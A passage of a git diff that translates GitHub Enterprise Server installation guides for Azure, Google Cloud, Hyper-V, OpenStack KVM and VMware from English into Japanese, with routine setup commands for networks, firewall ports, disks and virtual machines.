    {% endnote %}
 
-## Configuring the {% data variables.product.prodname_ghe_server %} virtual machine
+## {% data variables.product.prodname_ghe_server %} 仮想マシンを設定する
 
-1. Before configuring the VM, you must wait for it to enter ReadyRole status. Check the status of the VM with the `vm list` command. For more information, see "[az vm list](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_list)" in the Microsoft documentation.
+1. VM を設定する前に、VMがReadyRole ステータスになるのを待つ必要があります。 VM のステータスを `vm list` コマンドで確認します。 詳しい情報については、Microsoft ドキュメンテーションの「[az vm list](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_list)」を参照してください。
   ```shell
   $ az vm list -d -g <em>RESOURCE_GROUP</em> -o table
   > Name    ResourceGroup    PowerState    PublicIps     Fqdns    Location    Zones
   > ------  ---------------  ------------  ------------  -------  ----------  -------
   > VM_NAME RESOURCE_GROUP   VM running    40.76.79.202           eastus
-  
+
   ```
   {% note %}
-  
-  **Note:** Azure does not automatically create a FQDNS entry for the VM. For more information, see Azure's guide on how to "[Create a fully qualified domain name in the Azure portal for a Linux VM](https://docs.microsoft.com/azure/virtual-machines/linux/portal-create-fqdn)."
-  
+
+  **メモ:** Azure は VM 用の FQDN エントリを自動的に作成しません。 詳しい情報については、「[Linux VM 用 Azure Portal での完全修飾ドメイン名の作成](https://docs.microsoft.com/azure/virtual-machines/linux/portal-create-fqdn)」方法に関する Azure のガイドを参照してください。
+
   {% endnote %}
-  
+
   {% data reusables.enterprise_installation.copy-the-vm-public-dns-name %}
   {% data reusables.enterprise_installation.upload-a-license-file %}
-  {% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
+  {% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %}詳しい情報については、「[{% data variables.product.prodname_ghe_server %} アプライアンスを設定する](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)」を参照してください。
   {% data reusables.enterprise_installation.instance-will-restart-automatically %}
   {% data reusables.enterprise_installation.visit-your-instance %}
-  
-## Further reading
-  
-- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
-- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
+
+## 参考リンク
+
+- 「[システム概要](/enterprise/admin/guides/installation/system-overview)」{% ifversion ghes %}
+- 「[新しいリリースへのアップグレードについて](/admin/overview/about-upgrades-to-new-releases)」{% endif %}
diff --git a/translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform.md b/translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform.md
index e8d6a0059e..fb8ec29398 100644
--- a/translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform.md
+++ b/translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform.md
@@ -1,6 +1,6 @@
 ---
-title: Installing GitHub Enterprise Server on Google Cloud Platform
-intro: 'To install {% data variables.product.prodname_ghe_server %} on Google Cloud Platform, you must deploy onto a supported machine type and use a persistent standard disk or a persistent SSD.'
+title: Google Cloud Platform で GitHub Enterprise Server をインストールする
+intro: '{% data variables.product.prodname_ghe_server %} を Google Cloud Platform にインストールするには、サポートされているマシンタイプにデプロイし、永続的な標準ディスクまたは永続的な SSD を使用する必要があります。'
 redirect_from:
   - /enterprise/admin/guides/installation/installing-github-enterprise-on-google-cloud-platform
   - /enterprise/admin/installation/installing-github-enterprise-server-on-google-cloud-platform
@@ -15,67 +15,68 @@ topics:
   - Set up
 shortTitle: Install on GCP
 ---
-## Prerequisites
+
+## 必要な環境
 
 - {% data reusables.enterprise_installation.software-license %}
-- You must have a Google Cloud Platform account capable of launching Google Compute Engine (GCE) virtual machine (VM) instances. For more information, see the [Google Cloud Platform website](https://cloud.google.com/) and the [Google Cloud Platform Documentation](https://cloud.google.com/docs/).
-- Most actions needed to launch your instance may also be performed using the [Google Cloud Platform Console](https://cloud.google.com/compute/docs/console). However, we recommend installing the gcloud compute command-line tool for initial setup. Examples using the gcloud compute command-line tool are included below. For more information, see the "[gcloud compute](https://cloud.google.com/compute/docs/gcloud-compute/)" installation and setup guide in the Google documentation.
+- Google Compute Engine（GCE）仮想マシン（VM）インスタンスを起動できるGoogle Cloud Platformのアカウントが必要です。 詳しい情報については[Google Cloud PlatformのWebサイト](https://cloud.google.com/)及び[Google Cloud Platformドキュメンテーション](https://cloud.google.com/docs/)を参照してください。
+- インスタンスを起動するのに必要なアクションのほとんどは、[Google Cloud Platform Console](https://cloud.google.com/compute/docs/console)を使っても行えます。 とはいえ、初期セットアップのためにgcloud computeコマンドラインツールをインストールすることをお勧めします。 以下の例では、gcloud computeコマンドラインツールを使用しています。 詳しい情報についてはGoogleのドキュメンテーション中の"[gcloud compute](https://cloud.google.com/compute/docs/gcloud-compute/)"のインストール及びセットアップガイドを参照してください。
 
-## Hardware considerations
+## ハードウェアについて
 
 {% data reusables.enterprise_installation.hardware-considerations-all-platforms %}
 
-## Determining the machine type
+## マシンタイプの決定
 
-Before launching {% data variables.product.product_location %} on Google Cloud Platform, you'll need to determine the machine type that best fits the needs of your organization. To review the minimum requirements for {% data variables.product.product_name %}, see "[Minimum requirements](#minimum-requirements)."
+Google Cloud Platformde{% data variables.product.product_location %}を起動する前に、組織の要求に最も適したマシンタイプを決定する必要があります。 {% data variables.product.product_name %} の最小要件を確認するには、「[最小要件](#minimum-requirements)」を参照してください。
 
 {% data reusables.enterprise_installation.warning-on-scaling %}
 
-{% data variables.product.company_short %} recommends a general-purpose, high-memory machine for {% data variables.product.prodname_ghe_server %}. For more information, see "[Machine types](https://cloud.google.com/compute/docs/machine-types#n2_high-memory_machine_types)" in the Google Compute Engine documentation.
+{% data variables.product.company_short %} は、{% data variables.product.prodname_ghe_server %} に汎用のハイメモリマシンを推奨しています。 詳しい情報については、Google Compute Engine のドキュメント「[マシンタイプ](https://cloud.google.com/compute/docs/machine-types#n2_high-memory_machine_types)」を参照してください。
 
-## Selecting the {% data variables.product.prodname_ghe_server %} image
+## {% data variables.product.prodname_ghe_server %} イメージを選択する
 
-1. Using the [gcloud compute](https://cloud.google.com/compute/docs/gcloud-compute/) command-line tool, list the public {% data variables.product.prodname_ghe_server %} images:
+1. [gcloud compute](https://cloud.google.com/compute/docs/gcloud-compute/)コマンドラインツールを使用して、パブリックな {% data variables.product.prodname_ghe_server %} イメージを一覧表示します。
    ```shell
    $ gcloud compute images list --project github-enterprise-public --no-standard-images
    ```
 
-2. Take note of the image name for the latest GCE image of  {% data variables.product.prodname_ghe_server %}.
+2. {% data variables.product.prodname_ghe_server %} の最新の GCE イメージのイメージ名をメモしておきます。
 
-## Configuring the firewall
+## ファイアウォールの設定
 
-GCE virtual machines are created as a member of a network, which has a firewall. For the network associated with the {% data variables.product.prodname_ghe_server %} VM, you'll need to configure the firewall to allow the required ports listed in the table below. For more information about firewall rules on Google Cloud Platform, see the Google guide "[Firewall Rules Overview](https://cloud.google.com/vpc/docs/firewalls)."
+GCE 仮想マシンは、ファイアウォールが存在するネットワークのメンバーとして作成されます。 {% data variables.product.prodname_ghe_server %} VMに関連付けられているネットワークの場合、下記の表に一覧表示されている必要なポートを許可するようにファイアウォールを設定する必要があります。 Google Cloud Platform でのファイアウォールルールに関する詳しい情報については、Google ガイドの「[ファイアウォールルールの概要](https://cloud.google.com/vpc/docs/firewalls)」を参照してください。
 
-1. Using the gcloud compute command-line tool, create the network. For more information, see "[gcloud compute networks create](https://cloud.google.com/sdk/gcloud/reference/compute/networks/create)" in the Google documentation.
+1. gcloud compute コマンドラインツールを使用して、ネットワークを作成します。 詳しい情報については、Google ドキュメンテーションの「[gcloud compute networks create](https://cloud.google.com/sdk/gcloud/reference/compute/networks/create)」を参照してください。
    ```shell
    $ gcloud compute networks create <em>NETWORK-NAME</em> --subnet-mode auto
    ```
-2. Create a firewall rule for each of the ports in the table below. For more information, see "[gcloud compute firewall-rules](https://cloud.google.com/sdk/gcloud/reference/compute/firewall-rules/)" in the Google documentation.
+2. 下記の表にある各ポートに関するファイアウォールルールを作成します。 詳しい情報については、Googleドキュメンテーションの「[gcloud compute firewall-rules](https://cloud.google.com/sdk/gcloud/reference/compute/firewall-rules/)」を参照してください。
    ```shell
    $ gcloud compute firewall-rules create <em>RULE-NAME</em> \
    --network <em>NETWORK-NAME</em> \
    --allow tcp:22,tcp:25,tcp:80,tcp:122,udp:161,tcp:443,udp:1194,tcp:8080,tcp:8443,tcp:9418,icmp
    ```
-   This table identifies the required ports and what each port is used for.
+   次の表に、必要なポートと各ポートの使用目的を示します。
 
    {% data reusables.enterprise_installation.necessary_ports %}
 
-## Allocating a static IP and assigning it to the VM
+## スタティックIPの取得とVMへの割り当て
 
-If this is a production appliance, we strongly recommend reserving a static external IP address and assigning it to the {% data variables.product.prodname_ghe_server %} VM. Otherwise, the public IP address of the VM will not be retained after restarts. For more information, see the Google guide "[Reserving a Static External IP Address](https://cloud.google.com/compute/docs/configure-instance-ip-addresses)."
+これが稼働状態のアプライアンスである場合は、静的な外部 IP アドレスを予約し、それを {% data variables.product.prodname_ghe_server %} VM に割り当てることを強くおすすめします。 そうしなければ、VM のパブリックな IP アドレスは再起動後に保持されません。 詳しい情報については、Google ガイドの「[静的外部 IP アドレスを予約する](https://cloud.google.com/compute/docs/configure-instance-ip-addresses)」を参照してください。
 
-In production High Availability configurations, both primary and replica appliances should be assigned separate static IP addresses.
+稼働状態の High Availability 設定では、プライマリアプライアンスとレプリカアプライアンスの両方に別々の静的 IP アドレスを割り当ててください。
 
-## Creating the {% data variables.product.prodname_ghe_server %} instance
+## {% data variables.product.prodname_ghe_server %} インスタンスを作成する
 
-To create the {% data variables.product.prodname_ghe_server %} instance, you'll need to create a GCE instance with your {% data variables.product.prodname_ghe_server %} image and attach an additional storage volume for your instance data. For more information, see "[Hardware considerations](#hardware-considerations)."
+{% data variables.product.prodname_ghe_server %} インスタンスを作成するには、{% data variables.product.prodname_ghe_server %} イメージを使用して GCE インスタンスを作成し、インスタンスデータ用の追加のストレージボリュームをアタッチする必要があります。 詳細は「[ハードウェアについて](#hardware-considerations)」を参照してください。
 
-1. Using the gcloud compute command-line tool, create a data disk to use as an attached storage volume for your instance data, and configure the size based on your user license count. For more information, see "[gcloud compute disks create](https://cloud.google.com/sdk/gcloud/reference/compute/disks/create)" in the Google documentation.
+1. gcloud computeコマンドラインツールを使い、インスタンスデータのためのストレージボリュームとしてアタッチして使うデータディスクを作成し、そのサイズをユーザライセンス数に基づいて設定してください。 詳しい情報については、Google ドキュメンテーションの「[gcloud compute disks create](https://cloud.google.com/sdk/gcloud/reference/compute/disks/create)」を参照してください。
    ```shell
    $ gcloud compute disks create <em>DATA-DISK-NAME</em> --size <em>DATA-DISK-SIZE</em> --type <em>DATA-DISK-TYPE</em> --zone <em>ZONE</em>
    ```
 
-2. Then create an instance using the name of the {% data variables.product.prodname_ghe_server %} image you selected, and attach the data disk. For more information, see "[gcloud compute instances create](https://cloud.google.com/sdk/gcloud/reference/compute/instances/create)" in the Google documentation.
+2. 次に、選択した {% data variables.product.prodname_ghe_server %} イメージの名前を使用してインスタンスを作成し、データディスクをアタッチします。 詳しい情報については、Googleドキュメンテーションの「[gcloud compute instances create](https://cloud.google.com/sdk/gcloud/reference/compute/instances/create)」を参照してください。
    ```shell
    $ gcloud compute instances create <em>INSTANCE-NAME</em> \
    --machine-type n1-standard-8 \
@@ -87,15 +88,15 @@ To create the {% data variables.product.prodname_ghe_server %} instance, you'll
    --image-project github-enterprise-public
    ```
 
-## Configuring the instance
+## インスタンスの設定
 
 {% data reusables.enterprise_installation.copy-the-vm-public-dns-name %}
 {% data reusables.enterprise_installation.upload-a-license-file %}
-{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
+{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %}詳しい情報については、「[{% data variables.product.prodname_ghe_server %} アプライアンスを設定する](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)」を参照してください。
 {% data reusables.enterprise_installation.instance-will-restart-automatically %}
 {% data reusables.enterprise_installation.visit-your-instance %}
 
-## Further reading
+## 参考リンク
 
-- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
-- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
+- 「[システム概要](/enterprise/admin/guides/installation/system-overview)」{% ifversion ghes %}
+- 「[新しいリリースへのアップグレードについて](/admin/overview/about-upgrades-to-new-releases)」{% endif %}
diff --git a/translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-hyper-v.md b/translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-hyper-v.md
index 7901cb3efd..0fb890e3e8 100644
--- a/translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-hyper-v.md
+++ b/translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-hyper-v.md
@@ -1,6 +1,6 @@
 ---
-title: Installing GitHub Enterprise Server on Hyper-V
-intro: 'To install {% data variables.product.prodname_ghe_server %} on Hyper-V, you must deploy onto a machine running Windows Server 2008 through Windows Server 2019.'
+title: Hyper-V で GitHub Enterprise Server をインストールする
+intro: '{% data variables.product.prodname_ghe_server %} を Hyper-V にインストールするには、Windows Server 2008 から Windows Server 2019 までを実行しているマシンに配備する必要があります。'
 redirect_from:
   - /enterprise/admin/guides/installation/installing-github-enterprise-on-hyper-v
   - /enterprise/admin/installation/installing-github-enterprise-server-on-hyper-v
@@ -15,59 +15,60 @@ topics:
   - Set up
 shortTitle: Install on Hyper-V
 ---
-## Prerequisites
+
+## 必要な環境
 
 - {% data reusables.enterprise_installation.software-license %}
-- You must have Windows Server 2008 through Windows Server 2019, which support Hyper-V.
-- Most actions needed to create your virtual machine (VM) may also be performed using the [Hyper-V Manager](https://docs.microsoft.com/windows-server/virtualization/hyper-v/manage/remotely-manage-hyper-v-hosts). However, we recommend using the Windows PowerShell command-line shell for initial setup. Examples using PowerShell are included below. For more information, see the Microsoft guide "[Getting Started with Windows PowerShell](https://docs.microsoft.com/powershell/scripting/getting-started/getting-started-with-windows-powershell?view=powershell-5.1)."
+- Hyper-VをサポートしているWindows Server 2008からWindows Server 2019を持っている必要があります。
+- 仮想マシン（VM）の作成に必要なほとんどのアクションは、 [Hyper-V Manager](https://docs.microsoft.com/windows-server/virtualization/hyper-v/manage/remotely-manage-hyper-v-hosts)を使っても行えます。 とはいえ、初期セットアップのためにはWindows PowerShellコマンドラインシェルを使うことをおすすめします。 以下の例ではPowerShellを使っています。 詳細については、Microsoft ガイド「[Windows PowerShell 入門](https://docs.microsoft.com/powershell/scripting/getting-started/getting-started-with-windows-powershell?view=powershell-5.1)」を参照してください。
 
-## Hardware considerations
+## ハードウェアについて
 
 {% data reusables.enterprise_installation.hardware-considerations-all-platforms %}
 
-## Downloading the {% data variables.product.prodname_ghe_server %} image
+## {% data variables.product.prodname_ghe_server %} イメージをダウンロードする
 
 {% data reusables.enterprise_installation.enterprise-download-procedural %}
 {% data reusables.enterprise_installation.download-license %}
 {% data reusables.enterprise_installation.download-appliance %}
-4. Select {% data variables.product.prodname_dotcom %} On-premises, then click **Hyper-V (VHD)**.
-5. Click **Download for Hyper-V (VHD)**.
+4. {% data variables.product.prodname_dotcom %}オンプレミスを選択し、**Hyper-V (VHD)**をクリックしてください。
+5. **Download for Hyper-V (VHD)**をクリックしてください。
 
-## Creating the {% data variables.product.prodname_ghe_server %} instance
+## {% data variables.product.prodname_ghe_server %} インスタンスを作成する
 
 {% data reusables.enterprise_installation.create-ghe-instance %}
 
-1. In PowerShell, create a new Generation 1 virtual machine, configure the size based on your user license count, and attach the {% data variables.product.prodname_ghe_server %} image you downloaded. For more information, see "[New-VM](https://docs.microsoft.com/powershell/module/hyper-v/new-vm?view=win10-ps)" in the Microsoft documentation.
+1. PowerShell で、新しい第1世代の仮想マシンを作成し、ユーザライセンス数に基づいてサイズを設定し、ダウンロードした{% data variables.product.prodname_ghe_server %}イメージをアタッチします。 詳しい情報については、Microsoft ドキュメンテーションの「[New-VM](https://docs.microsoft.com/powershell/module/hyper-v/new-vm?view=win10-ps)」を参照してください。
   ```shell
   PS C:\> New-VM -Generation 1 -Name <em>VM_NAME</em> -MemoryStartupBytes <em>MEMORY_SIZE</em> -BootDevice VHD -VHDPath <em>PATH_TO_VHD</em>  
   ```
-{% data reusables.enterprise_installation.create-attached-storage-volume %} Replace `PATH_TO_DATA_DISK` with the path to the location where you create the disk. For more information, see "[New-VHD](https://docs.microsoft.com/powershell/module/hyper-v/new-vhd?view=win10-ps)" in the Microsoft documentation.
+{% data reusables.enterprise_installation.create-attached-storage-volume %} `PATH_TO_DATA_DISK` をディスクを作成した場所へのパスに置き換えます。 詳しい情報については、Microsoft ドキュメンテーションの「[New-VHD](https://docs.microsoft.com/powershell/module/hyper-v/new-vhd?view=win10-ps)」を参照してください。
   ```shell
   PS C:\> New-VHD -Path <em>PATH_TO_DATA_DISK</em> -SizeBytes <em>DISK_SIZE</em>
   ```
-3. Attach the data disk to your instance. For more information, see "[Add-VMHardDiskDrive](https://docs.microsoft.com/powershell/module/hyper-v/add-vmharddiskdrive?view=win10-ps)" in the Microsoft documentation.
+3. データディスクをインスタンスにアタッチします。 詳しい情報については、Microsoftドキュメンテーションの「[Add-VMHardDiskDrive](https://docs.microsoft.com/powershell/module/hyper-v/add-vmharddiskdrive?view=win10-ps)」を参照してください。
   ```shell
   PS C:\> Add-VMHardDiskDrive -VMName <em>VM_NAME</em> -Path <em>PATH_TO_DATA_DISK</em>
   ```
-4. Start the VM. For more information, see "[Start-VM](https://docs.microsoft.com/powershell/module/hyper-v/start-vm?view=win10-ps)" in the Microsoft documentation.
+4. VM を起動します。 詳しい情報については、Microsoftドキュメンテーションの「[Start-VM](https://docs.microsoft.com/powershell/module/hyper-v/start-vm?view=win10-ps)」を参照してください。
   ```shell
   PS C:\> Start-VM -Name <em>VM_NAME</em>
   ```
-5. Get the IP address of your VM. For more information, see "[Get-VMNetworkAdapter](https://docs.microsoft.com/powershell/module/hyper-v/get-vmnetworkadapter?view=win10-ps)" in the Microsoft documentation.
+5. VM の IP アドレスを入手します。 詳しい情報については、Microsoftドキュメンテーションの「[Get-VMNetworkAdapter](https://docs.microsoft.com/powershell/module/hyper-v/get-vmnetworkadapter?view=win10-ps)」を参照してください。
   ```shell
   PS C:\> (Get-VMNetworkAdapter -VMName <em>VM_NAME</em>).IpAddresses
   ```
-6. Copy the VM's IP address and paste it into a web browser.
+6. VM の IP アドレスをコピーし、Web ブラウザに貼り付けます。
 
-## Configuring the {% data variables.product.prodname_ghe_server %} instance
+## {% data variables.product.prodname_ghe_server %} インスタンスを設定する
 
 {% data reusables.enterprise_installation.copy-the-vm-public-dns-name %}
 {% data reusables.enterprise_installation.upload-a-license-file %}
-{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
+{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %}詳しい情報については、「[{% data variables.product.prodname_ghe_server %} アプライアンスを設定する](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)」を参照してください。
 {% data reusables.enterprise_installation.instance-will-restart-automatically %}
 {% data reusables.enterprise_installation.visit-your-instance %}
 
-## Further reading
+## 参考リンク
 
-- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
-- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
+- 「[システム概要](/enterprise/admin/guides/installation/system-overview)」{% ifversion ghes %}
+- 「[新しいリリースへのアップグレードについて](/admin/overview/about-upgrades-to-new-releases)」{% endif %}
diff --git a/translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm.md b/translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm.md
index 1c1de12f10..9f2670b9ea 100644
--- a/translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm.md
+++ b/translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm.md
@@ -1,6 +1,6 @@
 ---
-title: Installing GitHub Enterprise Server on OpenStack KVM
-intro: 'To install {% data variables.product.prodname_ghe_server %} on OpenStack KVM, you must have OpenStack access and download the {% data variables.product.prodname_ghe_server %} QCOW2 image.'
+title: OpenStack KVM で GitHub Enterprise Server をインストールする
+intro: '{% data variables.product.prodname_ghe_server %} を OpenStack KVM 上にインストールするには、OpenStack にアクセスでき、{% data variables.product.prodname_ghe_server %} QCOW2 イメージをダウンロードすることが必要です。'
 redirect_from:
   - /enterprise/admin/guides/installation/installing-github-enterprise-on-openstack-kvm
   - /enterprise/admin/installation/installing-github-enterprise-server-on-openstack-kvm
@@ -15,44 +15,45 @@ topics:
   - Set up
 shortTitle: Install on OpenStack
 ---
-## Prerequisites
+
+## 必要な環境
 
 - {% data reusables.enterprise_installation.software-license %}
-- You must have access to an installation of OpenStack Horizon, the web-based user interface to OpenStack services. For more information, see the [Horizon documentation](https://docs.openstack.org/horizon/latest/).
+- OpenStackのサービス群へのWebベースのユーザインターフェースであるOpenStack Horizonの環境へのアクセスが必要です。 詳しい情報については[Horizonのドキュメンテーション](https://docs.openstack.org/horizon/latest/)を参照してください。
 
-## Hardware considerations
+## ハードウェアについて
 
 {% data reusables.enterprise_installation.hardware-considerations-all-platforms %}
 
-## Downloading the {% data variables.product.prodname_ghe_server %} image
+## {% data variables.product.prodname_ghe_server %} イメージをダウンロードする
 
 {% data reusables.enterprise_installation.enterprise-download-procedural %}
 {% data reusables.enterprise_installation.download-license %}
 {% data reusables.enterprise_installation.download-appliance %}
-4. Select {% data variables.product.prodname_dotcom %} On-premises, then click **OpenStack KVM (QCOW2)**.
-5. Click **Download for OpenStack KVM (QCOW2)**.
+4. {% data variables.product.prodname_dotcom %}オンプレミスを選択し、続いて**OpenStack KVM (QCOW2)**をクリックしてください。
+5. **Download for OpenStack KVM (QCOW2)**をクリックしてください。
 
-## Creating the {% data variables.product.prodname_ghe_server %} instance
+## {% data variables.product.prodname_ghe_server %} インスタンスを作成する
 
 {% data reusables.enterprise_installation.create-ghe-instance %}
 
-1. In OpenStack Horizon, upload the {% data variables.product.prodname_ghe_server %} image you downloaded. For instructions, see the "Upload an image" section of the OpenStack guide "[Upload and manage images](https://docs.openstack.org/horizon/latest/user/manage-images.html)."
-{% data reusables.enterprise_installation.create-attached-storage-volume %} For instructions, see the OpenStack guide "[Create and manage volumes](https://docs.openstack.org/horizon/latest/user/manage-volumes.html)."
-3. Create a security group, and add a new security group rule for each port in the table below. For instructions, see the OpenStack guide "[Configure access and security for instances](https://docs.openstack.org/horizon/latest/user/configure-access-and-security-for-instances.html)."
+1. OpenStack Horizon で、ダウンロードした {% data variables.product.prodname_ghe_server %} のイメージをアップロードします。 手順については、OpenStack ガイドの「[Upload and manage images](https://docs.openstack.org/horizon/latest/user/manage-images.html)」の 「Upload an image」セクションを参照してください。
+{% data reusables.enterprise_installation.create-attached-storage-volume %} 手順については、OpenStack ガイドの「[Create and manage volumes](https://docs.openstack.org/horizon/latest/user/manage-volumes.html)」を参照してください。
+3. セキュリティグループを作成し、下の表の各ポートについて新しいセキュリティグループルールを追加してください。 その方法についてはOpenStackのガイド"[Configure access and security for instances](https://docs.openstack.org/horizon/latest/user/configure-access-and-security-for-instances.html)"を参照してください。
 
   {% data reusables.enterprise_installation.necessary_ports %}
-4. Optionally, associate a floating IP to the instance. Depending on your OpenStack setup, you may need to allocate a floating IP to the project and associate it to the instance. Contact your system administrator to determine if this is the case for you. For more information, see "[Allocate a floating IP address to an instance](https://docs.openstack.org/horizon/latest/user/configure-access-and-security-for-instances.html#allocate-a-floating-ip-address-to-an-instance)" in the OpenStack documentation.
-5. Launch {% data variables.product.product_location %} using the image, data volume, and security group created in the previous steps. For instructions, see the OpenStack guide "[Launch and manage instances](https://docs.openstack.org/horizon/latest/user/launch-instances.html)."
+4. フローティングIPをインスタンスに関連づけることもできます。 使用しているOpenStackのセットアップによっては、フローティングIPをプロジェクトに割り当て、それをインスタンスに関連づける必要があるかもしれません、 そうする必要があるかどうかは、システム管理者に連絡を取って判断してください。 詳しい情報については、OpenStackのドキュメンテーション中の"[Allocate a floating IP address to an instance](https://docs.openstack.org/horizon/latest/user/configure-access-and-security-for-instances.html#allocate-a-floating-ip-address-to-an-instance)"を参照してください。
+5. これまでのステップで作成したイメージ、データボリューム、セキュリティグループを使って{% data variables.product.product_location %}を起動してください。 その方法についてはOpenStackのガイド"[Launch and manage instances](https://docs.openstack.org/horizon/latest/user/launch-instances.html)"を参照してください。
 
-## Configuring the {% data variables.product.prodname_ghe_server %} instance
+## {% data variables.product.prodname_ghe_server %} インスタンスを設定する
 
 {% data reusables.enterprise_installation.copy-the-vm-public-dns-name %}
 {% data reusables.enterprise_installation.upload-a-license-file %}
-{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
+{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %}詳しい情報については、「[{% data variables.product.prodname_ghe_server %} アプライアンスを設定する](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)」を参照してください。
 {% data reusables.enterprise_installation.instance-will-restart-automatically %}
 {% data reusables.enterprise_installation.visit-your-instance %}
 
-## Further reading
+## 参考リンク
 
-- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
-- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
+- 「[システム概要](/enterprise/admin/guides/installation/system-overview)」{% ifversion ghes %}
+- 「[新しいリリースへのアップグレードについて](/admin/overview/about-upgrades-to-new-releases)」{% endif %}
diff --git a/translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware.md b/translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware.md
index e725f7fd72..afc0301f8d 100644
--- a/translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware.md
+++ b/translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware.md
@@ -1,6 +1,6 @@
 ---
-title: Installing GitHub Enterprise Server on VMware
-intro: 'To install {% data variables.product.prodname_ghe_server %} on VMware, you must download the VMware vSphere client, and then download and deploy the {% data variables.product.prodname_ghe_server %} software.'
+title: VMware で GitHub Enterprise Server をインストールする
+intro: '{% data variables.product.prodname_ghe_server %} を VMware にインストールするには、VMware vSphere クライアントをダウンロードしてから、{% data variables.product.prodname_ghe_server %} ソフトウェアをダウンロードしてデプロイする必要があります。'
 redirect_from:
   - /enterprise/admin/articles/getting-started-with-vmware
   - /enterprise/admin/articles/installing-vmware-tools
@@ -18,42 +18,43 @@ topics:
   - Set up
 shortTitle: Install on VMware
 ---
-## Prerequisites
+
+## 必要な環境
 
 - {% data reusables.enterprise_installation.software-license %}
-- You must have a VMware vSphere ESXi Hypervisor, applied to a bare metal machine that will run {% data variables.product.product_location %}s. We support versions 5.5 through 6.7. The ESXi Hypervisor is free and does not include the (optional) vCenter Server. For more information, see [the VMware ESXi documentation](https://www.vmware.com/products/esxi-and-esx.html).
-- You will need access to a vSphere Client. If you have vCenter Server you can use the vSphere Web Client. For more information, see the VMware guide "[Log in to vCenter Server by Using the vSphere Web Client](https://docs.vmware.com/en/VMware-vSphere/6.5/com.vmware.vsphere.install.doc/GUID-CE128B59-E236-45FF-9976-D134DADC8178.html)."
+- {% data variables.product.product_location %}を動作させるベアメタルマシンに適用されたVMware vSphere ESXi Hypervisorが必要です。 バージョン 5.5 から 6.7 までをサポートしています。 ESXi Hypervisor は無料で、オプションの vCenter Server は含まれていません。 詳しい情報については、[VMware ESXiのドキュメンテーション](https://www.vmware.com/products/esxi-and-esx.html)を参照してください。
+- vSphere Clientへのアクセスが必要です。 vCenter Serverがあるなら、vSphere Web Clientが利用できます。 詳しい情報については、VMWareのガイド "[vSphere Web Client を使用した、vCenter Server へのログイン](https://docs.vmware.com/jp/VMware-vSphere/6.5/com.vmware.vsphere.install.doc/GUID-CE128B59-E236-45FF-9976-D134DADC8178.html)"を参照してください。
 
-## Hardware considerations
+## ハードウェアについて
 
 {% data reusables.enterprise_installation.hardware-considerations-all-platforms %}
 
-## Downloading the {% data variables.product.prodname_ghe_server %} image
+## {% data variables.product.prodname_ghe_server %} イメージをダウンロードする
 
 {% data reusables.enterprise_installation.enterprise-download-procedural %}
 {% data reusables.enterprise_installation.download-license %}
 {% data reusables.enterprise_installation.download-appliance %}
-4. Select {% data variables.product.prodname_dotcom %} On-premises, then click **VMware ESXi/vSphere (OVA)**.
-5. Click **Download for VMware ESXi/vSphere (OVA)**.
